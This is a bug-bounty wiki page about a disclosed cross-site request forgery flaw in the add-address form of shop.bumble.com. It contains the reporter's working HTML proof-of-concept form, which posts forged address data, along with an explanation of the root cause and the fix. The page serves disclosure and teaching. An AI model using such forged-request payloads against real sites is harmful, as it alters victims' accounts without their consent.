CSRF bug
The add-address form appears to accept a cross-site POST that can create a default address in a logged-in user's account.
Originally disclosed on HackerOne
- Disclosed after under an hour
Sir Recently I found a bug on add address. Check my exploit. It address can be default. I hope you will fix this as soon as possible
<html> <body> <form action="https://shop.bumble.com/account/addresses" method="POST"> <input type="hidden" name="form_type" value="customer_address" /> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="address[first_name]" value="Rahamat" /> <input type="hidden" name="address[last_name]" value="Shah" /> <input type="hidden" name="address[company]" value="dark" /> <input type="hidden" name="address[address1]" value="12/45" /> <input type="hidden" name="address[address2]" value="" /> <input type="hidden" name="address[city]" value="newyor" /> <input type="hidden" name="address[country]" value="United States" /> <input type="hidden" name="address[province]" value="Alabama" /> <input type="hidden" name="address[zip]" value="" /> <input type="hidden" name="address[phone]" value="" /> <input type="hidden" name="address[default]" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the add-address endpoint accepted POST requests without a per-session anti-CSRF token or an origin check.
What the attacker needed
Victim has an account; victim's browser submits the form
The fix
The add-address endpoint should require an anti-CSRF token and check Origin or Referer.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you are logged in to a site, your browser sends your session cookie with every request to that site. If a form on another website can post to the shop, the browser will still attach your cookie, so the shop thinks the request came from you. This is called cross-site request forgery (CSRF): an attacker's page makes your browser do something you did not intend.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.